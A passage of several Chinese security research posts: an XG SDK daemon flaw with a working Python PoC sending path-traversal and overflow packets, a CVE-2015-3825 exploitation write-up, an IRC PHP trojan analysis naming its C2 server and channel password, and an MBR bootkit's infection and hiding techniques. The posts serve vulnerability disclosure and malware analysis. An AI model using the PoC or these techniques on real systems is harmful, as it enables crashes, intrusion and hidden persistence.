  * 这段存在问题，v18没有置为null。导致当循环到512个对象的时候，由于前面循环的限制，v18    还是指向第512个对象中在堆上分配的packagename的地址，此时v18会被delete。
                                              
当512以上的多个命令数据达到，需要有多个packagename需要添加时，由于并发处理，程序会在返回之前再次运行到此处，v18还是指向同一地址，由于v18已被delete，此时会再次delete一下，从而导致delete出错
 *
 */
            return;
          }
          v19 = (void *)j_operator new[](v17);
          v15[2] = (int)v19;
          j_j_memset(v19, 0, v17);
          j_j_memcpy((void *)v15[2], v9, v17);
          *(_BYTE *)(v15[2] + v17) = 0;
          v20 = j_j_atoll(v11);
          *((_BYTE *)v15 + 12) = 1;
          *(_QWORD *)v15 = v20;
          if ( dword_4005D018 )
            j_j___android_log_print(4, "xguardian", "add new unInfo pkgName:%s,accid:%llu", v15[2], v20);
        }
      }
    }
    v18 = (void *)dword_40060028[i];
    if ( v18 )
      goto j_j__ZdaPv;
  }
…

对通过socket端口传入的xgapplist命令的解析主要包括以下几个步骤：

• 解析分号的分隔，获得每个xg app的信息；

• 解析逗号的分隔，获得xg app packagename和accid；

• 从0x4005E028开始，依次存储解析xgappinfo得到的结果，分别为accid、packagename、status，从而构成xgappinfo_list；

• 当再次传入xgapplist命令时，会将传入的packagename与已存储的packagename比较。如果不同，说明是新的packagename，则会在堆上分配地址存储，并将这个堆上分配的地址添加到xgappinfo_list中。如果相同，不进行添加。

• 最多只能添加到0x40060028这个地址，到这个地址会跳出循环，也就是最多只能添加(0x40060028-0x4005E028)/16=512个xgappinfo结构体

注意下面这段代码

if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}

v18为下一个未分配区域的packagename，XG SDK认为如果不为空，则表明已在堆上分配，因此需要delete。然而测试表明，当添加xgappinfo超过512，为518、519等多个时（注意：并非超过1个），可以触发堆内存破坏。

POC:

from pwn import *
import sys
 
def open_connection():
    xg_daemon_server = "192.168.8.158"
    xg_listen_port = 55362
    conn = remote(xg_daemon_server, xg_listen_port)
    return conn
 
def send_debug():
    conn = open_connection()
    packet_debug = "debug:1\n"
    conn.send(packet_debug)
    print "S:"+packet_debug
    conn.close()
    exit(0)
 
def send_heap_overflow(n):
    conn = open_connection()
    packet_bound_overflow = "xgapplist:../../../"
    for i in range(n):
        packet_bound_overflow +="/"
    packet_bound_overflow +="sdcard/, 2100178385\n"
 
    print "S: "+packet_bound_overflow
    print "%d bytes" % len(packet_bound_overflow)
    conn.send(packet_bound_overflow)
    conn.close()
 
def send_normal_packet(packet):
    conn = open_connection()
    conn.send(packet)
    print "S: "+packet
    if (packet == "ver:\n"):
        print "R: "+ conn.recv()
    conn.close()
    exit(0)
 
def main():
    if (len(sys.argv) != 2):
        print """
           %s <packet_type>
           1: send debug packet
           3: send heap overflow packet
           4: send normal ver: packet
           5: send normal tme:12345 packet
           6: send normal xgapplist: packet
        """ % sys.argv[0]
        exit(-1)
    if(sys.argv[1] == "1"):
        send_debug()
    elif(sys.argv[1] == "3"):
        for i in range(518):  //notice！
            send_heap_overflow(i)
            print i
        exit(0)
    elif(sys.argv[1] == "4"):
        send_normal_packet("ver:\n")
    elif(sys.argv[1] == "5"):
        send_normal_packet("tme:12345\n")
    elif(sys.argv[1] == "6"):
        send_normal_packet("xgapplist:\n")
    else:
        print "unkown packet type! "
 
 
if __name__ == "__main__":
    main()

Logcat

为什么513、514不能触发呢？这个问题一直没有分析得很清楚，因此也没有选择提交，直至厂商对前面两个漏洞进行修复，再次复现这个漏洞的难度加大。

再次观察漏洞的触发位置，

if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}

可以发现v18 被delete后并没有置为null，那么有没有可能v18会被delete多次呢？作为socket服务daemon，程序使用了epoll系统调用，因此可以猜想这是并发处理的原因。 

在没有并发的情况下依次传入要添加的xgappinfo，在超过512个xgappinfo时，循环直接跳出，不会尝试添加这个xgappinfo，不会触及到下面delete所在的分支，这也是很长时间我通过调试很难复现该漏洞的原因。但如果存在并发，特别是在即将超过512个xgappinfo时，又传入了多个要添加的xgappinfo，那么由于并发处理，程序会同时尝试添加多个xgappinfo且不会认为超过了512个xgappinfo，此时v18均指向同一地址（即第512个对象中在堆上分配的packagename的地址），那么在v18被delete一次的情况下，紧接着会再次delete一下，从而导致delete出错。

腾讯很快对命令注入和空指针解引用引发的远程拒绝服务漏洞进行了修复，主要修复点包括：

• Socket端口监听任意地址改为监听本地地址。

• 对Socket端口传入的命令进行了加密。

• 对传入xgapplist中的packagename进行了过滤，特别是过滤了“／”字符，防止目录穿越。

这些防御措施导致我很难再复现最后一个堆内存破坏漏洞了，但通过深入分析，我们仍然可以通过

1. 编写手机上运行的本地代码

2. 添加手机上已存在的packagename，要超过512个

3. 破解加密算法

来予以一一破解。首先，在手机上安装512个packganame(Oh my god! )，这个可以通过脚本解决。

其次，破解加密算法可以直接调用程序使用的加解密库，而不必真的破解。最后的POC关键代码如下，注意，我们在快超过512时sleep了一下，使XG SDK的处理能力跟上，然后后面再传入多个xgappinfo，这样有更大的几率触发并发。

Logcat:

当然，这个double free漏洞无法利用，因为堆中的内容只能为手机上安装的packagename，所以尽管克服重重困难破解了加密算法、安装了512个packagename，仍然只是一个local DoS。TSRC在最先评级认为是代码执行，后面也更正为了local DoS。

最后，我们从修复的角度来看，XG SDK以检查/data/data/<packagename>/lib的存在，来判断是否为使用信鸽sdk的app，这种方式仍然不够严谨。依然有可能被恶意app利用来保活（ 因为信鸽sdk后续要启动app的服务），占用系统资源或者妨碍正常使用推送服务的app。

版权声明：

本文由MS509团队成员原创，转载请注明来源

阅读原文

跳转微信打开

近日，三星手机公司发布了2016年11月份的安全公告[1]，对MS509团队发现的一中危漏洞予以致谢。漏洞详

近日，三星手机公司发布了2016年11月份的安全公告[1]，对MS509团队发现的一中危漏洞予以致谢。

漏洞详情如下：

SVE-2016-7044: system_server crash, DoS (AntService)

Severity: Medium
Affected versions: KK(4.4), L(5.0/5.1), M(6.0)
Reported on: September 6, 2016
Disclosure status: Privately disclosed.
The system services “AntService” doesn’t have proper access control and exception handling. And it allows attackers to use system API of “AntService” and cause rebooting of device by force-crashing the service.
The patch restricts unauthorized access to the “AntService” and filters out improper cases which may cause crash。

[1] http://security.samsungmobile.com/smrupdate.html#SMR-NOV-2016

阅读原文

跳转微信打开

CVE-2015-3825是去年Android系统爆出的高危漏洞，与CVE-2014-7911一样都属于Android系统的反序列化漏洞。通过该漏洞可以实现Android系统提权及代码执行等一系列攻击行为，危害巨大

责任编辑：支书Woojune

与CVE-2014-7911类似，CVE-2015-3825都是反序列化漏洞，因此我们基于CVE-2014-7911的Poc构造CVE-2015-3825的Poc。CVE-2015-3825的反序列化漏洞出现在OpenSSLX509Certificate类中，构造伪造类：

将伪造类放入Bundle中：

在setApplicationRestrictions函数中将Bundle中伪造的类修改为OpenSSLX509Certificate，并通过Binder传给system_server:

发送成功以后就需要等待system_server触发GC回收对象，这里我们可以通过Binder多次发送Bundle去触发：

我们在AVD Android 5.0模拟器上运行Poc，通过adb logcat可以看到crash log:

可以看到虽然出错的address像是我们指定的地址，但是PC指针并不受我们控制。我们只有通过调试分析来确定该漏洞如何利用，找到控制PC指针的方法。

参考论文[1]及分析文章[2]，我们通过IDA调试及源码分析来确定漏洞的利用点。我们伪造的类在被GC回收的时候会调用OpenSSLX509Certificate的finalize方法：

finalize方法会调用native层的X509_free函数，native层主要的函数调用栈如下：

我们通过IDA attach到system_server进程，运行Poc可在IDA中捕获到exception：

我们可以看到crash是由于执行：LDR R0,[R7]

查看此时的寄存器环境：

可以看到寄存器R7存储的值正好是我们传入的地址值+0×10。由于R7寄存器的值是一个不存在的地址，因此在执行LDR R0,[R7]指令时导致内存地址访问错误，从而导致system_server进程崩溃。

1. 任意地址值减一

分析了漏洞崩溃的原因，我们需要继续分析如何构造exploit。详细的参数传递过程可以参考[2],这里我们直接给出结果,mContext为我们控制的传入值：

system_server崩溃时R7寄存器的值为mContext + 0×10，即我们传入的mContext值为0xaaaaaaaa,而R7的值为0xaaaaaaba。继续分析CRYPTO_add_lock函数中崩溃后的相关代码：

R0寄存器的值为0xFFFFFFFF(即-1),则有

最关键的代码在这里：

将R6寄存器的值最后写回R7指向的地址。通过以上分析我们可以看到，该漏洞的核心是可以指定任意内存地址A，将A地址存储的32位整数取出减一，最后将减一后的值再存回地址A，即可以在system_server进程中实现任意内存地址减一。

2.任意地址写

既然我们能够让任意地址减一，那么我们就可以通过数次减一操作达到任意地址写的目的。例如我们要讲内存中某个地址A的32位整数0xBBBBBBBB变为0xAAAAAAAA，那么理论上只要我们在指定的地址上执行0×11111111次减一操作即可。但是这里有几个问题：

针对问题1，我们可以直接采取降维思路，将原本针对32位整数的减一操作转化为分别针对4个字节的减一操作，即我们只要分别通过减一操作将原值的每个字节转化为指定的值即可。例如:

最后我们达到了相同的效果，即内存地址A的值从0xBBBBBBBB变为了0xAAAAAAAA，但是仅仅执行了0×44次减一操作，效率大大提升。

针对问题2，如果我们采取分字节减一操作的话，那么就需要从高位借一位，和减法的操作类似。

针对问题3，我们需要确定通过漏洞执行一次减一操作后会不会导致崩溃，或是有什么限制条件。我们查看ASN1_item_combine_free函数源码：

这里我们可以看到如果asn1_do_lock函数返回值大于0,那么函数就返回了，不会进入后面其他的code path。但是如果返回负数或0，那么后面则会进入asn1_cb或asn1_enc_free函数的路径，程序行为就不可控了。从CRYPTO_add_lock函数的反汇编代码可以看出R6寄存器的值就是返回值，即指定地址每次减一后的值即是每次函数返回值。

因此，要能够多次稳定重复利用减一操作，需要有两个限制条件：

在每次进行减一操作的过程中都必须满足这两个条件，不然就会导致进入asn1_cb或asn1_enc_free函数，调试结果发现这条路径一般就是崩溃：

3825原始的论文[1]中只介绍了重复减一操作的利用方法，并未介绍另一条free的路径是否能利用，我们暂时也未深入。因此我们要实现任意地址写必须满足以上两个条件，代码如下：

算法并不复杂，大家可自行阅读。

3. 控制PC

1) 覆盖回调函数地址

我们通过任意地址减一操作实现了任意地址写，下一步就是控制PC寄存器。要实现控制PC，最简单的方法就是通过任意地址写覆盖GOT表中的函数地址，那么函数调用的时候我们就能劫持PC。但是system_server中的so文件都采用了RELRO(Relocation read only)编译,导致GOT不可写。

论文[1]中提到的方法是覆盖libcrypto.so中id_callback函数的地址。该函数地址在可写的Data段，因此只要我们覆盖该地址为我们想要的地址，并触发id_callback函数的调用即可劫持PC。函数大致的调用流程为：

要想覆盖id_callback函数的地址，我们需要知道两个值：

通过IDA反汇编CRYPTO_THREADID_current我们可以轻易找到存放id_callback函数地址的地址值：

我们可以通过libcrypto.so加载的基址及偏移量计算存放id_callback函数地址的地址值：

id_callback函数的地址则指向了libjavacrypto.so中的指令：

我们同样可以通过libjavacrypto.so基址及偏移量计算出原id_callback函数的地址：

由于Android设计上的缺陷，这些so文件加载基址都是可以通过获取自身进程的内存地址获得，从而绕过ASLR，具体方法可参考7911的Poc。获取到这两个值以后还不能直接调用writeWhatWhere函数来覆盖，这里还需要有一些特殊处理。由于libjavacrypto.so加载的基址在模拟器中一般在高地址，例如0xAE36E000，即原id_callback函数的地址值是个负数，由之前的分析可知，如果是负数的话会crash。这里我们曲线救国，首先覆盖高字节0xAE字节为[0x1,0x7F]范围内的数，那么在覆盖低字节的时候就是正数了，可避免crash，主要代码如下：

这里的G1_addr是我们构造ROP的第一个gadget地址，即劫持PC到我们控制的流程。这里还有一个重要问题，就是G1_addr值的高字节只能在[0x1,0x7F]范围内，导致我们寻找第一个gadget的时候只能在[0x1,0x7FFFFFFF]地址空间内寻找，比较受限。

2) 触发id_callback执行

主动触发id_callback的执行也需要我们构造伪造的数据到system_server中，调用栈大致如下：

我们需要将修改过数据的OpenSSLECPrivateKey对象通过binder传给system_server，由于OpenSSLECPrivateKey并未导出，只有通过反射获取：

构造好OpenSSLECPrivateKey后我们需要修改类中的数据，去触发system_server反序列化异常，从而执行id_callback函数。同样，我们在setApplicationRestrictions函数中直接修改byte数据：

运行测试app，我们可以看到异常：

可以看到，我们仅仅修改几个字节便导致了system_server反序列化异常。但是这里有一个问题，就是data修改的位置不同导致的异常也不同，导致id_callback函数的调用次序也会有所不同，同时寄存器的布置也会有所不同，这会对后面ROP的构造产生影响。作为演示，我们将PC值的值设为0x7e7e7e7e，实际利用的时候应设置为第一个ROP gadget的值：

我们可以看到system_server在我们指定的地址0x7e7e7e7e崩溃。如果我们构造好了ROP及shellcode的话，这里我们就可以设置为第一个gadget的地址，从而劫持system_server进程的执行流程，进入我们的shellcode执行指令。

通过以上的分析及Poc调试，我们成功实现了从crash到控制PC实现进程劫持的过程。下一篇文章我们将继续介绍ROP的构造及利用过程，从而实现命令执行、shellcode执行的目的。ROP及shellcode的构造也是编写exploit过程中最精巧及难度最大的地方，大家可以参考[1]给出的例子。

本文分析介绍了CVE-2015-3825漏洞的成因，实践了从crash到控制PC指针的Poc编写过程，并记录了调试过程中遇到的诸多问题。漏洞的利用需要强大的调试分析能力，IDA+AVD的组合勉强能够实现单步调试，但是IDA在单步时还是会偶尔出现异常。另外就是在x86上使用arm模拟真的非常卡，crash后启动也非常慢，调试的时候又会多次崩溃重启，只有干等，导致漏洞调试非常耗时。大家在这方面如果有好的解决方法和经验，欢迎大家一起分享及探讨学习！

参考文献

[1]https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf

[2]http://www.droidsec.cn/opensslx509certificate%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88cve-2015-3825%EF%BC%89%E6%88%90%E5%9B%A0%E5%88%86%E6%9E%90/

[3]http://www.freebuf.com/news/74676.html

[4]http://www.droidsec.cn/%E5%86%8D%E8%AE%BAcve-2014-7911%E5%AE%89%E5%8D%93%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

版权声明：

本文由MS509团队成员原创，转载请注明来源

注：本文已由团队成员“thor”2016-09-29 发布于“FreeBuf”

腾讯玄武实验室9月29日安全动态已推送此文！

阅读原文

跳转微信打开

最近，我们的网络监测设备（ATP高级威胁检测系统）中发现了revslider.zip文件，解压后的两个php文件mil.php，pbot.php都经过了编码处理，非常可疑。搜索revslider关键字能找到freebuf上的一篇文章

责任编辑：支书Woojune

通常的webshell木马，顾名思义就是操作界面是web网页，通过http协议进行通讯，能远程执行shell命令。而该木马利用的是IRC协议进行通讯，操作界面是IRC聊天客户端软件，除了同样能够执行shell命令外，还能接收其他更多的远程控制命令（后面会看到）。

什么是IRC木马？

IRC是Internet Relay Chat的英文缩写，是应用层的即时通讯协议。特点是小而美，原理非常简单，用户运行基于IRC协议的客户端软件，连接上IRC服务器，就可以开始聊天了。与传统的webshell比，IRC木马远控的过程就是和肉鸡“聊天”的过程，有更多优势：

下是两个常见的IRC聊天软件：mIRC, XChat

这个IRC php木马实现了基本的IRC通讯协议，木马运行后连接到了irc.mildnet.net这台IRC服务器，并进入预先设置好的私有频道（群），身在某个角落的木马作者用任意IRC客户端软件加入到相同的频道（群）。可以想象成这样一个画面，一个聊天群里有很多成员，除了木马作者外，其他成员都是被控制的肉鸡，作者可以@任何肉鸡，与它聊天，聊天的内容就是提前设置的远控命令，告诉肉鸡要做什么，肉鸡完成任务后再给作者回复结果。

IRC协议简介

IRC详细的协议比较多，这里介绍下最主要的 

客户端与服务器之间通讯传递的是一条条的IRC消息，IRC消息是纯文本格式，一条IRC消息最长不超过512字节，以\r\n标志结束

一条IRC消息由三个部分组成，前缀、命令字、参数，以空格分开，其中前缀和参数不是必须的部分，命令字是IRC协议的核心，一共有几十个命令字。命令字有两种表示类型，一种是大写的带英文含义的字符串（如NICK），一种是纯数字（如433）

上面是一条IRC消息，应该能猜出意思就是，告诉服务器我把自己的昵称修改为了expsky

IRC全部英文命令字：

IRC全部数字命令字：

IRC命令解释详见：List of Internet Relay Chat commands（https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands）

pbot.php木马利用IRC协议进行通讯过程

分析前先对编码过的php代码进行解码 

此木马用到的IRC命令字：

1）建立IRC连接 

如上，木马实现IRC协议规定的建立连接握手流程：以PASS，USER，NICK三个IRC命令开始（设置连接密码，用户ID，昵称等信息）

建立完连接后进入主功能函数main 

2）main函数（消息循环）

IRC连接建立成功后设置连接模式为私有隐藏，加入预先建好的两个远控频道（配置变量中的chan和chan2：即#ccpower和#sianta），频道密码是配置变量里的key即correct

配置参数包含服务器域名，端口，频道名（群名），频道密码，频道模式等信息

调用到的函数（相应IRC协议中的命令JOIN, PRIVMSG, NICK）

木马自己的远控命令

上面主要是IRC协议相关的内容，而木马自己的功能，也就是执行各种远程控制命令的代码如下：

（远控命令的发送是通过PRIVMSG IRC命令字发送给木马，以!号开头）

如上，木马自己的远控命令一共有13个，最重要的两个就是eval命令：执行php代码；cmd命令：执行shell命令行 

所有命令和功能如下：

到此，通过一个简单的IRC聊天客户端，连接IRC服务器：irc.mildnet.net；进入预先设置好的私有频道：#ccpower，#siantar（频道密码：correct），就可以像聊QQ一样，和群里的肉鸡”聊天“了，聊天的内容就是上面的13个命令

压缩包里还有另外一个php文件，这个不是IRC木马，解码后也简单的分析下：

mil.php木马有两个功能

上面两个form表单是木马的操作界面，这样看不是太清楚，把两个form字符串保存成html文件，用浏览器里打开看就比较清楚了

从上面的界面文字以及php里的一些字符串发现不是英文，感觉有点像马来文。由于文字很少，也没进一步考证

最后是增加.htaccess配置文件，文件内容又经过了编码处理，估计是配置网马文件的权限，解码后证实一下

版权声明：

本文由MS509团队成员原创，转载请注明来源

注：本文已由团队成员“expsky”2016-08-9 发布于“FreeBuf”

阅读原文

跳转微信打开

整理电脑的时候找到自已以前分析的一个鬼影病毒的资料，当时兼容市面上主要的windows系统（XP, win7,包含x86和x64系统）样本来自国外，有不少亮点，当时花了不少时间把所有原理分析出来并重新用汇编和C++实现了出来。

责任编辑：支书Woojune

绕过windows的PatchGuard保护
兼容XP, win7（x86,x64）（bootkit型底层木马兼容不同系统是挺有挑战的）
自保护功能：感染木马后通过WinHex等工具查看到的MBR是正常的，而且无法修改被感染的MBR（不是简单的修改失败，而是会呈现MBR被修改成功的假象）
从内核态向用户态的指定系统进程注入下载者DLL（根据系统是32位还是64位，会注入相应的32位和64位版本的DLL）
启动过程中关闭指定进程

1）木马植入程序运行后感染MBR和磁盘末尾未分区部分 （无文件，直接写入磁盘扇区）

感染的数据主要包括6个部分：

感染的MBR；

启动部分代码；

x86驱动代码；x64驱动代码；

x86下载者DLL；x64下载者DLL

（前两部分未压缩，其他4部分进行了aPLib压缩）

2）重启电脑后感染的MBR接管执行：

a) 加载末尾20个扇区的前18个扇区（未压缩数据）到常规内存并执行

b) 加载第19个扇区（原始MBR）到0x7C00

c) 加载第20个扇区（配置信息：驱动、下载者代码的大小、payload所在扇区位置数据）到常规内存

d) 调用Int15扫描常规内存，保存ARD结构体用于后续常规内存的分页扫描（查找ntoskrnl.exe映像）

e) hook IVT表中int13向量（用于监控后续磁盘读操作）

f) 跳转到0x7C00控制权转交原始MBR，系统继续启动

ARD: AddressRange Descriptor Structure
+0：BaseAddrLow：基地址的低32位
+4：BaseAddrHigh：基地址的高32位
+8：LengthLow：长度（字节）的低32位
+12：LengthHigh：长度（字节）的高32位
+16：Type：这个地址范围的地址类型（1：AddressRangeMemory；2：?AddressRangeReserved；Other：Undefined）

3）Int13钩子监视系统启动过程的读磁盘操作，当读取到kdcom.dll时接管执行（绕过PatchGuard的时机）

a）int13钩子根据读取文件的前0×200字节的校验值和PE特征码识别kdcom.dll，根据kdcom.dll PE的mechine字段判断系统为32位还是64位（32位和64位部分hook函数不同，整体流程一致）

b）根据前面保存的ARD结构体扫描常规内存，找到ntoskrnl.exe基地址(根据文件hash值)，再根据ntoskrnl PE导出表hook函数IoCreateDriver（根据函数名hash值，64位系统hook MmMapIoSapce）

c）控制权继续转交系统

4）IoCreateDriver钩子函数接管执行

a）先恢复IoCreateDriver钩子

b）同前机制，根据ntoskrnl.exe基地址和PE导出表找到函数PsSetLoadImageNotifyRoutine

c）调用PsSetLoadImageNotifyRoutine，注册回调函数

d）控制权继续转交系统

5）系统加载模块时，上步PsSetLoadImageNotifyRoutine注册的回调函数接管执行

a）如前机制，得到NtReadFile，NtClose，NtOpenFile，ExAllocatePool函数指针

b）申请8K内存，再打开Device\Harddisk0\Patition0，将驱动部分压缩数据读入其中

c）申请0×3600字节内存，解压驱动数据到其中

d）释放8K压缩数据内存，转入驱动代码部分执行

6）驱动部分压缩数据解压后的执行

a）根据实际加载的内存地址，对驱动部分的常量进行重定位

b）InstallProcessNotifyCallback注册回调函数，回调函数监控当创建的进程如包含在屏蔽进程列表中时，直接return

c）PsSetLoadImageNotifyRoutine注册回调函数，当创建进程包含在注入进程列表中时注入下载者DLL

d）Hook NtReadFile, NtWriteFile, 当尝试读写感染的MBR或磁盘末尾未分区处，都返回正常值，隐藏被感染迹象。同样写入数据到此部分也会做相应保护，不会真正写入，但会呈现已被写入的假象

通过KeInitializeApc、KeInsertQueueApc（未文档化函数）插入内核APC回调函数、ExQueueWorkItem插入WorkItem回调函数，附加用户进程，将注入代码复制到用户进程内存空间，最后通过一个用户APC指向注入代码，并异步得到执行。

详细流程如下：

1）PsSetLoadImageNotifyRoutine注册回调函数

2）任意进程加载模块时，上步注册的回调函数得到执行

调用FsRtlIsNameInExpression，判断加载的是kernel32.dll，是则继续执行，否则返回。（The FsRtlIsNameInExpressionroutine determines whether a Unicode string matches the specified pattern.）

FsRtlAllocatePool申请0×34字节内核非分页内存，用于后续APC对象及回调参数。

将kernel32.dll基址存入0×34字节的最后一个DWORD中（用于APC回调函数入参）

调用KeGetCurrentThread得到当前线程对象（用于APC初始化的入参）

调用KeInitializeApc、KeInsertQueueApc（未文档化函数）插入内核APC回调函数（执行后续流程）

3）上步插入的内核APC函数异步执行

调用ExFreePool释放APC结构体内存

FsRtlAllocatePool申请0×40字节非分页内核内存（用于后续EVENT对象、WORKITEM对象及其参数）

调用KeGetCurrentThread、PsGetCurrentProcess、PsGetCurrentThreadProcessId得到进程对象，线程对象，PID（存入上面申请的内存中，作为参数传给ExQueueWorkItem插入的回调函数）

调用KeInitializeEvent，用于同步，等待WorkItem执行完毕

调用ExQueueWorkItem插入后续流程的回调函数

调用KeWaitForMutexObject等待上面的WorkItem回调函数执行完毕

调用ExFreePool释放上面申请的0×40字节内核内存

4）上步ExQueueWorkItem插入的回调函数执行

调用PsLookupProcessByProcessId得到EPROCESS

调用PsGetProcessImageFileName通过EPROCESS得到进程文件名

计算进程文件名的hash值与想要注入代码的进程列表做对比（包含在内继续执行，否则返回）

调用KeStackAttachProcess将当前线程附加到目标进程用户态地址空间

配置入参数ClientId, ObjectAttributes后，调用ZwOpenProcess打开目标进程

调用ZwAllocateVirtualMemory申请目标进程用户态内存

mov指令将内核中的注入代码拷贝到上步申请的用户态进程空间

调用FsRtlAllocatePool申请0×30字节内核非分页内存用于APC对象

调用KeInitializeApc，KeInsertQueueApc插入用户APC（注入代码在用户态进程执行）

调用ZwClose，KeUnstackDetachProcess，ObDereferenceObject释放资源

末尾调用KeSetEvent设置事件，用于同步，通知WorkItem执行完毕

5）上步插入的用户APC异步得到执行（注入的代码在目标进程执行）

至此，完成了内核态向目标用户进程注入代码并得到执行

木马自保护功能：当木马正常工作后，用WinHex等磁盘查看工具是看不到MBR及磁盘末尾被感染的迹象的，并且用工具对MBR或磁盘末尾进行修改后，呈现被改动的假象，但实际并未修改成功。木马代码依然存在在磁盘相应位置。

通过hook NtReadFile和NtWriteFile两个函数实现的自保护功能

当写数据到MBR或磁盘末尾处时，写入的数据存入内存而不真正写入磁盘，当读取磁盘MBR或末尾时，不真实读取，而用之前暂存的数据代替，呈现数据被写入的假象，实现自我保护

内存0×20000（128k）

（1）NtWriteFile钩子函数

a）确认写入的数据是否在MBR处或磁盘末尾0xFC00处

b）当向MBR写入数据时：将写入的数据保存到上表内存中0×400处（假MBR），以及更新0×200（原始MBR）和0×600（染后后MBR）的末尾0x4C的数据信息（只更新MBR中分区表等数据信息，而不改变MBR中的代码）；修改磁盘MBR处后0x4C的分区表等数据，修改磁盘倒数第2个扇区（备份的原始MBR）的后0x4C数据部分

c）当向磁盘末尾0xFC00写入数据时：计算写入数据与末尾0xFC00的交叉情况，保存写入的数据到0×10400处（假的磁盘末尾数据）

（2）NtReadFile钩子函数

a）确认读取的数据是否在MBR处或磁盘末尾0xFC00处

b）当读取MBR时，用上表中0×400处的假MBR代替

c）当读取磁盘末尾时，用上表中0×10400处假数据代

这是几年前逆向分析的基于MBR的bootkit型样本（来自国外），运行相当稳定（也尝试过改造来从BIOS启动，但主板芯片的差异，以及植入BIOS的程序兼容性很难保证，最终稳定性不好）该样本当时未在国内传播，逆向老外的样本过程中发现各种细节处理的非常到位，师夷长技以自强 。^_^

版权声明：

本文由MS509团队成员原创，转载请注明来源

注：本文已由团队成员“expsky”2016-07-25 发布于“FreeBuf”

阅读原文

跳转微信打开